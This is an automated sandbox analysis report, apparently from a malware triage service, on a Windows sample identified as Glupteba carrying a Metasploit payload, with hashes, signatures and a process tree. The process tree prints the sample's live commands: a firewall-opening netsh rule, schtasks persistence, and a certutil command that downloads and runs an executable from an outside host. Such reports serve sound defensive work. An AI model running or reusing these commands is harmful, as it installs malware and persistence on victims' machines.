Analysis

  • max time kernel
    146s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-07-2024 08:06

General

  • Target

    5220119e225daa8de7871e3f37183496_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    5220119e225daa8de7871e3f37183496

  • SHA1

    eef71aab10366c2b255d37bdbc1e781edad26f7d

  • SHA256

    570ba7e85cdfb0cdbeaf7e73c53bbfb89ac887922f6aa52e5f30dd1385416e57

  • SHA512

    da8f76f7d0cb02c9b5f14bc5bab6ede78979856e2592d09c5ffa46a857088a717a870cf10998eb82e4dba3f8cd9beaca38d3a88559782bae1e5a52e83de8967a

  • SSDEEP

    98304:ch5GLUmHEfWAT6tgGsMztidl3/f8e1R7ze3jME:ch5QxaTSIMulsqR7

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\5220119e225daa8de7871e3f37183496_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\5220119e225daa8de7871e3f37183496_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4380
    • C:\Users\Admin\AppData\Local\Temp\5220119e225daa8de7871e3f37183496_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\5220119e225daa8de7871e3f37183496_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3444
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3500
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4344
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4700
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5044
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3228
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4228
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:468

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    5220119e225daa8de7871e3f37183496

    SHA1

    eef71aab10366c2b255d37bdbc1e781edad26f7d

    SHA256

    570ba7e85cdfb0cdbeaf7e73c53bbfb89ac887922f6aa52e5f30dd1385416e57

    SHA512

    da8f76f7d0cb02c9b5f14bc5bab6ede78979856e2592d09c5ffa46a857088a717a870cf10998eb82e4dba3f8cd9beaca38d3a88559782bae1e5a52e83de8967a

  • memory/3444-8-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/3444-9-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/3444-15-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4380-1-0x00000000011D0000-0x000000000157C000-memory.dmp

    Filesize

    3.7MB

  • memory/4380-2-0x0000000001580000-0x0000000001D84000-memory.dmp

    Filesize

    8.0MB

  • memory/4380-3-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4380-5-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4380-6-0x0000000001580000-0x0000000001D84000-memory.dmp

    Filesize

    8.0MB

  • memory/4700-20-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-21-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-22-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-23-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-25-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-26-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-27-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-28-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-29-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-30-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-31-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-32-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

  • memory/4700-33-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB